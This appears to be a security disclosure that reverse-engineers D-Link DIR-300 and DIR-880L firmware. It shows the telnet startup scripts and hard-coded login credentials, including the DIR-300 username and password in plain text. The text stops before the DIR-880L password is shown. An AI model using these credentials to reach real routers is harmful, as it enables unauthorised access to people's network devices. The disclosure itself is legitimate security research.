A series of old D-Link routers are vulnerable to credentials disclosure in telnet service through decompilation of firmware, allowing an unauthenticated attacker to access the telnet service.
Confirmed devices and firmware versions:
Device Name
Firmware Version
Release Date
DIR-300
2.06 (latest)
2015/04/24
DIR-880L
1.07 (latest)
2016/05/25
DIR-300
Download and extract it using binwalk.
» binwalk -e dir300b_v2.06_f4la.bin
Username, Alphanetworks, is hard-coded under etc/scripts/misc/telnetd.sh:
» cat etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = "true" ]; then
echo "Start telnetd ..." > /dev/console
if [ -f "/usr/sbin/login" ]; then
lf=`rgdb -i -g /runtime/layout/lanif`
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
else
telnetd &
fi
fi
And the password is referenced to etc/config/image_sign:
» cat etc/config/image_sign
wrgn23_dlwbr_dir300b
DIR-880L
» binwalk -e DIR880A1_FW107WWb08.bin
Username, Alphanetworks, is hard-coded under etc/init0.d/S80telnetd.sh:
» cat etc/init0.d/S80telnetd.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
telnetd -i br0 -t 99999999999999999999999999999 &
exit
fi
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fi
else
killall telnetd
fi
And the password is referenced to etc/config/image_sign:
